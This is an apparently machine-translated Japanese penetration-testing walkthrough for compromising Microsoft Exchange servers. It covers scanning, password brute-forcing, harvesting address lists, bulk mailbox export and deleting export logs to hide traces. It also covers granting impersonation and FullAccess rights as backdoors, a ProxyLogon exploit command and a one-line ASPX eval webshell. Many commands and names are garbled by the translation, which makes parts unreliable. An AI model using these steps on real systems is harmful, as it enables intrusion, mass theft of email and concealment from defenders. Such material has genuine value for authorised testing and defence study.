侵入プロセス中、Exchange Mail Serverは通常、私たちが焦点を当てたオブジェクトです。 Machineアカウントの権限を使用してExchange Mail Serverを削除した後、ドメインDCSYNC許可内の他のユーザーに提供し、ドメインでハッシュをエクスポートしてドメイン全体を削除できるためです。
交換システムでは、コマンドhttps://Learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps
スキャンサービス
setspn.exe
setspn.exe -t vvvv1.com -f -q */* |検索ストレンド
nmap
NMAP 192.168.52.139 -A
プローブバージョンと脆弱性
EWSインターフェイスを介してExchangeの正確なバージョン情報を取得する
短所:一部の古いExchangeバージョンは、この操作をサポートしていません。
OWAインターフェイスを介して取引所の大まかなバージョン情報を取得する
バージョン番号を取得した後、公式Webサイトにアクセスして、対応する交換バージョンとリリース日を確認できます。
クエリアドレス:
https://Learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016
スクリプトを使用して、バージョンと脆弱性を検出します
https://github.com/3gstudent/homework-of-python/blob/master/exchange_getversion_matchvul.py
ブラスト
python2 eburst.py -d 192.168.52.139 -c
このツールを使用して、ユーザーアカウントのパスワードを爆発することもできます。
python2 eburst.py -d 192.168.52.139 -l ./users.txt -p ./passwords.txt -ews
情報収集
電子メールユーザーのいずれかの資格情報が取得されたと仮定すると、次に情報を収集できます。
autodiscover
による情報収集https://Exchange/autodiscover/autodiscover.xmlインターフェイスを介して、XMLリクエストを受け入れ、XMLで指定された電子メールが属するメールボックス構成を返すことができます。
NTLMV2認証にはHTTP/1.1接続が必要であり、Burpsuitの新しいバージョンはHTTP/2にデフォルトであるため、最初に調整する必要があります。
https://blog.csdn.net/qq_30786785/article/details/121742101
構成の読み取りなどの操作については、次のリンクを参照してください。
https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8
基本は認証であり、base64 vvvv1 \ administrator:admin!@#456を使用して暗号化されています
post/autodiscover/autodiscover.xml http/1.1
HOST: 192.168.52.139
user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのように)chrome/114.0.0.0 safari/537.36
Authorization: BASIC VLZWVJFCYWRTAW5PC3RYYXRVCJPHZG1PBIFAIZQ1NG==
Content-Type:テキスト/XML
Content-Length: 350
autodiscover xmlns='http://schemas.microsoft.com/Exchange/Autodiscover/Outlook/RequestSchema/2006'
リクエスト
emailaddressexchange1@vvv1.com/emailaddress
AcceptAbleresponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/acceptableresponseschema
/リクエスト
/autodiscover
メールが存在しない場合、返されます
メールボックスが存在する場合、構成情報が返されます
取引所アドレス帳を入手してください
グローバルアドレスリスト(GAL)には、Exchange Organizationのすべてのメールユーザーのメールアドレスが含まれています。 Exchange Organizationの電子メールユーザーの資格情報を取得している限り、他のメールユーザーのメールアドレスをエクスポートできます。 HTTPを介したOWA、EWS、OAB、RPC、HTTPを介したMapiなどを使用してGALを取得できます。
https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA6%8A%80%E5%B7%A7-A8%8E%B7%E5%BEA%97Exghange-GlobalAddressList%E7%9A%84A6%96%B9%E6%B3
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
OWAを使用して直接表示
人事ユーザー
/ewsインターフェイスを取得します< /h5>
PowerShell -ExecutionPolicyバイパス
import-module。\ mailsniper.ps1
get -globalAddressList -ExchHostName 192.168.52.139 -USNAME VVVV1 \ Administrator -PassWord Admin!@#456 -Outfile Gal.txt
oab
を介してギャルを取得します1。AOTODISCOVERを介して収集されたOABパス。
2。ACCESSOAB/oaburi/oab.xml;
3. oab.xmlを介してデフォルトのグローバルアドレステーブルに対応するLZXファイルアドレスを見つけ、access/oab/oaburi/lzxuriにLZXファイルを取得します。
4. Cabextractツールを使用してLZXファイルをデコードし、GALを復元します。
https://www.cabextract.org.uk/
http
を介したRPC(mapi)を介した情報収集をエクスポートしますHTTP上のMapiは、OutlookとExchange 2016の間のデフォルトの通信プロトコルです
HTTPを介したMAPIは、HTTPを介してRPCを置き換えるためにExchange Server 2013 Service Pack 1(SP1)に実装された新しいトランスポートプロトコルです(Outlook Anywhereとも呼ばれます)
HTTPを介したMAPIは、Exchange 2013でデフォルトで有効になりません。OutlookとExchangeの間の通信プロトコルは、HTTPを介してRPCを使用します。
Impacket-Exchangerモジュールを使用してアドレスリストをリストし、対応するGUIDを見つけます
python endganger.py vvvv1/admins:user!@#45@192.168.52.139nspiリストテーブル
すべてのユーザーをエクスポートします
python exchanger.py VVVV1/admins:User!@#45@192.168.52.139nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738
Pythonを介したGALのリモートエクスポート
Python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com Adminsユーザー!@#45 findallpeople
:
メールコンテンツをエクスポート
/owaインターフェイスを介して直接メールをダウンロードします< /h4>
アカウントパスワードを入力して、ページでメールを直接読み取るかダウンロードしてください
/ewsインターフェイスを介して電子メールコンテンツをエクスポート< /h4>
pythonを介した電子メールのリモートエクスポート
プレーンテキストパスワードまたはハッシュを介してエクスポートできます
python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com管理者管理者!@#456ダウンロード
python ewsmanage_downloader.py test.com 80 NTLMHASH NULL USER1 C5A237B7E9D8E708D8436B6148A25FA1 FINDALLPELE
Pythonを介した電子メールのエクスポートは、通常、SOAP XMLメッセージを使用してエクスポートされます
公式XML要素ドキュメント:
https://Learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange
exshell.ps1
を介して電子メールをエクスポートしますhttps://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-E4%BB%8EEXChange%E6%9C%8D%9CですE5%8a%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6
Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'newmailboxexportrequest -mailbox管理者-filepath' \ \ c $ Exchange1.pst '
もちろん、電子メールをエクスポートした後、エクスポートメールのトレースをクリアする必要があります。
メールのエクスポート要求履歴を表示します
Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -mailboxexportrequertrequest'
エクスポートログレコードを削除します
Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'remove -mailboxexportrequert' '
IDパラメーターは、上の図のメールボックスパラメーターです
Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'removeBoxexportRequest -identity' vvvv1.com/users/administrator \ mailboxexportportportport
電子メールは、バックドアの植え付けを引き継ぎます
シミュレーション権限を構成
https://4SYSOPS.COM/ARCHIVES/EXCHANGE-IMPRENATION-GRANT-PERMISSIONS-TO-SERVICE-ACCOUNTS/
次の権限を追加するだけです。
シミュレーションの許可があることを確認してください。
https://192.168.52.139/ecp/exchange1@vvvv1.com/
特定の利用には、スクリプトファイルを組み合わせる必要があります。
モック許可を持つメンバーを表示します
get -managementRoleasSignment -Role:ApplicationImprensation
Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -managementRoleassignment -role:application -ination'
模擬権限を備えた新しいメンバーを作成します
new -managementRoleasSignment -Role3:ApplicationImprensation -User:Exchange1@vvvv1.com
新しく追加されたモック許可を持っているメンバーを削除します
managementRoleassignment 'application-Imprensation-Admins'を削除
FullAccess Permissions
を構成しますhttps://Blog.csdn.net/weixin_34123613/article/details/90079532
get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | Add -MailboxPermission -USER Administrator -AccessRights Fullaccess -InheritanceTypeすべて
Fullaccessの許可をキャンセルします
get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | mailboxpermission -user管理者-accessrights fullaccess -inheritanceTypeすべて
Fullaccessアクセス許可を確認します
脆弱性攻撃
python proxylogon.py - host=exchange.com - mail=admin@exchange.com
Aspx Trojan:スクリプト言語='jscript' runat='server' function page \ _load(){/\*\*/eval(request \ ['command' \]、 'unsafe');}/script
摂取後段階
サーバー情報の交換コレクション
Exchangeのデフォルトのインストールパスを取得します
Echo%ExchangeInstallPath%
コンソールファイルの相対位置は、%ExchangeInstallPath%\ bin \ exshell.ps1です
すべての電子メール情報を取得します
Powershell.exe -psconsolefile 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ bin \ exshell.psc1' -command 'get -mailbox -Resultsize Unlimited'
電子メール追跡ログを分析
メール追跡ログは%交換にあります